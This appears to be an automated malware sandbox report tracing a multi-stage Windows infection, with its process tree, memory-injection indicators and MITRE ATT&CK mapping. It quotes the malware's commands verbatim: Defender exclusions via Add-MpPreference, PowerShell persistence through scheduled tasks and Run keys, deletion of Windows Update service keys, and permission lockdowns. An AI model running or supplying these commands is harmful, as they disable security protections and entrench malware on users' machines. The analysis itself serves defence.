Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeShutdownPrivilege	1988	powercfg.exe
Token: SeCreatePagefilePrivilege	1988	powercfg.exe
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	5116	powercfg.exe
Token: SeCreatePagefilePrivilege	5116	powercfg.exe
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	4152	powercfg.exe
Token: SeCreatePagefilePrivilege	4152	powercfg.exe
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	772	Explorer.EXE
Token: SeCreatePagefilePrivilege	772	Explorer.EXE
Token: SeShutdownPrivilege	5024	powercfg.exe
Token: SeCreatePagefilePrivilege	5024	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4648	powershell.exe
Token: SeSecurityPrivilege	4648	powershell.exe
Token: SeTakeOwnershipPrivilege	4648	powershell.exe
Token: SeLoadDriverPrivilege	4648	powershell.exe
Token: SeSystemProfilePrivilege	4648	powershell.exe
Token: SeSystemtimePrivilege	4648	powershell.exe
Token: SeProfSingleProcessPrivilege	4648	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exerundll32.exe

pid process

876 rundll32.exe
3472 rundll32.exe
968 rundll32.exe
3008 rundll32.exe
844 rundll32.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Explorer.EXE

pid process

772 Explorer.EXE
772 Explorer.EXE

pid	process
876	rundll32.exe
3472	rundll32.exe
968	rundll32.exe
3008	rundll32.exe
844	rundll32.exe

pid	process
772	Explorer.EXE
772	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXEF11B.exe1B0B.exe1B0B.exe287B.exe1B0B.exe

description	pid	process	target process
PID 772 wrote to memory of 2252	772	Explorer.EXE	F11B.exe
PID 772 wrote to memory of 2252	772	Explorer.EXE	F11B.exe
PID 772 wrote to memory of 2252	772	Explorer.EXE	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 2252 wrote to memory of 2560	2252	F11B.exe	F11B.exe
PID 772 wrote to memory of 3944	772	Explorer.EXE	1B0B.exe
PID 772 wrote to memory of 3944	772	Explorer.EXE	1B0B.exe
PID 772 wrote to memory of 3944	772	Explorer.EXE	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 3944 wrote to memory of 3748	3944	1B0B.exe	1B0B.exe
PID 772 wrote to memory of 908	772	Explorer.EXE	1FFD.exe
PID 772 wrote to memory of 908	772	Explorer.EXE	1FFD.exe
PID 772 wrote to memory of 908	772	Explorer.EXE	1FFD.exe
PID 772 wrote to memory of 4496	772	Explorer.EXE	21B4.exe
PID 772 wrote to memory of 4496	772	Explorer.EXE	21B4.exe
PID 772 wrote to memory of 4496	772	Explorer.EXE	21B4.exe
PID 3748 wrote to memory of 4960	3748	1B0B.exe	icacls.exe
PID 3748 wrote to memory of 4960	3748	1B0B.exe	icacls.exe
PID 3748 wrote to memory of 4960	3748	1B0B.exe	icacls.exe
PID 3748 wrote to memory of 2492	3748	1B0B.exe	1B0B.exe
PID 3748 wrote to memory of 2492	3748	1B0B.exe	1B0B.exe
PID 3748 wrote to memory of 2492	3748	1B0B.exe	1B0B.exe
PID 772 wrote to memory of 4924	772	Explorer.EXE	287B.exe
PID 772 wrote to memory of 4924	772	Explorer.EXE	287B.exe
PID 772 wrote to memory of 4924	772	Explorer.EXE	287B.exe
PID 772 wrote to memory of 2688	772	Explorer.EXE	cmd.exe
PID 772 wrote to memory of 2688	772	Explorer.EXE	cmd.exe
PID 772 wrote to memory of 2688	772	Explorer.EXE	cmd.exe
PID 4924 wrote to memory of 4516	4924	287B.exe	Conhost.exe
PID 4924 wrote to memory of 4516	4924	287B.exe	Conhost.exe
PID 4924 wrote to memory of 4516	4924	287B.exe	Conhost.exe
PID 4924 wrote to memory of 2064	4924	287B.exe	ss31.exe
PID 4924 wrote to memory of 2064	4924	287B.exe	ss31.exe
PID 772 wrote to memory of 2136	772	Explorer.EXE	30AB.exe
PID 772 wrote to memory of 2136	772	Explorer.EXE	30AB.exe
PID 772 wrote to memory of 2136	772	Explorer.EXE	30AB.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 2492 wrote to memory of 1244	2492	1B0B.exe	1B0B.exe
PID 4924 wrote to memory of 880	4924	287B.exe	XandETC.exe
PID 4924 wrote to memory of 880	4924	287B.exe	XandETC.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:772
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1880
- C:\Users\Admin\AppData\Local\Temp\F11B.exe
  C:\Users\Admin\AppData\Local\Temp\F11B.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Users\Admin\AppData\Local\Temp\F11B.exe
    C:\Users\Admin\AppData\Local\Temp\F11B.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2560
  - - C:\Users\Admin\AppData\Local\Temp\F11B.exe
      "C:\Users\Admin\AppData\Local\Temp\F11B.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4492
    - - C:\Users\Admin\AppData\Local\Temp\F11B.exe
        
        "C:\Users\Admin\AppData\Local\Temp\F11B.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2692
      - C:\Users\Admin\AppData\Local\9d5fbe7a-0052-4387-92d5-2c0ab7e05362\build2.exe
        
        "C:\Users\Admin\AppData\Local\9d5fbe7a-0052-4387-92d5-2c0ab7e05362\build2.exe"
        6⤵
        
        PID:2128
        
        C:\Users\Admin\AppData\Local\9d5fbe7a-0052-4387-92d5-2c0ab7e05362\build2.exe
        
        "C:\Users\Admin\AppData\Local\9d5fbe7a-0052-4387-92d5-2c0ab7e05362\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3448
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\9d5fbe7a-0052-4387-92d5-2c0ab7e05362\build2.exe" & exit
        8⤵
        
        PID:4656
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3540
      - C:\Users\Admin\AppData\Local\9d5fbe7a-0052-4387-92d5-2c0ab7e05362\build3.exe
        
        "C:\Users\Admin\AppData\Local\9d5fbe7a-0052-4387-92d5-2c0ab7e05362\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:1228
- C:\Users\Admin\AppData\Local\Temp\1B0B.exe
  C:\Users\Admin\AppData\Local\Temp\1B0B.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Users\Admin\AppData\Local\Temp\1B0B.exe
    C:\Users\Admin\AppData\Local\Temp\1B0B.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\fefd692e-8f09-4e90-84d3-b52706518415" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:4960
  - - C:\Users\Admin\AppData\Local\Temp\1B0B.exe
      "C:\Users\Admin\AppData\Local\Temp\1B0B.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:2492
    - - C:\Users\Admin\AppData\Local\Temp\1B0B.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1B0B.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1244
      - C:\Users\Admin\AppData\Local\aa0b12e3-89a8-45e0-8224-725a464ff246\build2.exe
        
        "C:\Users\Admin\AppData\Local\aa0b12e3-89a8-45e0-8224-725a464ff246\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3368
        
        C:\Users\Admin\AppData\Local\aa0b12e3-89a8-45e0-8224-725a464ff246\build2.exe
        
        "C:\Users\Admin\AppData\Local\aa0b12e3-89a8-45e0-8224-725a464ff246\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2324
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\aa0b12e3-89a8-45e0-8224-725a464ff246\build2.exe" & exit
        8⤵
        
        PID:2384
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:664
      - C:\Users\Admin\AppData\Local\aa0b12e3-89a8-45e0-8224-725a464ff246\build3.exe
        
        "C:\Users\Admin\AppData\Local\aa0b12e3-89a8-45e0-8224-725a464ff246\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4684
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:1028
- C:\Users\Admin\AppData\Local\Temp\1FFD.exe
  C:\Users\Admin\AppData\Local\Temp\1FFD.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:908
- C:\Users\Admin\AppData\Local\Temp\21B4.exe
  C:\Users\Admin\AppData\Local\Temp\21B4.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 340
    3⤵
    - Program crash
    PID:4728
- C:\Users\Admin\AppData\Local\Temp\287B.exe
  C:\Users\Admin\AppData\Local\Temp\287B.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    PID:4516
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:1732
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:3676
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2224
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:4136
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:3252
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:4500
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:340
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:4836
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2172
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:3336
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:2128
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2128 -s 644
        7⤵
        Program crash
        
        PID:4088
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4784
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:880
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:2064
- C:\Users\Admin\AppData\Local\Temp\2EE5.exe
  C:\Users\Admin\AppData\Local\Temp\2EE5.exe
  2⤵
  PID:2688
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2688 -s 812
    3⤵
    - Program crash
    PID:1068
- C:\Users\Admin\AppData\Local\Temp\30AB.exe
  C:\Users\Admin\AppData\Local\Temp\30AB.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2136
- - C:\Users\Admin\AppData\Local\Temp\30AB.exe
    C:\Users\Admin\AppData\Local\Temp\30AB.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3648
  - - C:\Users\Admin\AppData\Local\Temp\30AB.exe
      "C:\Users\Admin\AppData\Local\Temp\30AB.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4316
    - - C:\Users\Admin\AppData\Local\Temp\30AB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\30AB.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3416
      - C:\Users\Admin\AppData\Local\3c94ec09-98b8-42dd-a4b9-56f69d1e20ad\build2.exe
        
        "C:\Users\Admin\AppData\Local\3c94ec09-98b8-42dd-a4b9-56f69d1e20ad\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\3c94ec09-98b8-42dd-a4b9-56f69d1e20ad\build2.exe
        
        "C:\Users\Admin\AppData\Local\3c94ec09-98b8-42dd-a4b9-56f69d1e20ad\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:1308
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\3c94ec09-98b8-42dd-a4b9-56f69d1e20ad\build2.exe" & exit
        8⤵
        
        PID:208
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:4268
      - C:\Users\Admin\AppData\Local\3c94ec09-98b8-42dd-a4b9-56f69d1e20ad\build3.exe
        
        "C:\Users\Admin\AppData\Local\3c94ec09-98b8-42dd-a4b9-56f69d1e20ad\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:448
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4680
- C:\Users\Admin\AppData\Local\Temp\3271.exe
  C:\Users\Admin\AppData\Local\Temp\3271.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4448
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Executes dropped EXE
      PID:4516
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3460 -s 1020
    3⤵
    - Program crash
    PID:3856
- C:\Users\Admin\AppData\Local\Temp\C78E.exe
  C:\Users\Admin\AppData\Local\Temp\C78E.exe
  2⤵
  - Executes dropped EXE
  PID:444
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Uieiuateoq.dll,start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    PID:3204
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19205
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:876
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19205
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:3472
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19205
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:968
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19205
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:3008
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19205
      4⤵
      Suspicious use of FindShellTrayWindow
      PID:844
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 444 -s 560
    3⤵
    - Program crash
    PID:4372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4648
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4500
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5116
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4152
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5024
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Executes dropped EXE
  PID:2688
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3516
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3436
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1420
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4488
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:620
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4932
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2072
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4444
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1820
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:3672
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:5100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4496 -ip 4496
1⤵
PID:460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2688 -ip 2688
1⤵
PID:1052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 444 -ip 444
1⤵
PID:3036

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 564 -p 3460 -ip 3460
1⤵
PID:112

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 584 -p 2128 -ip 2128
1⤵
PID:3572

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:3220

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:4696

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:1404
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:2652

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2096

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery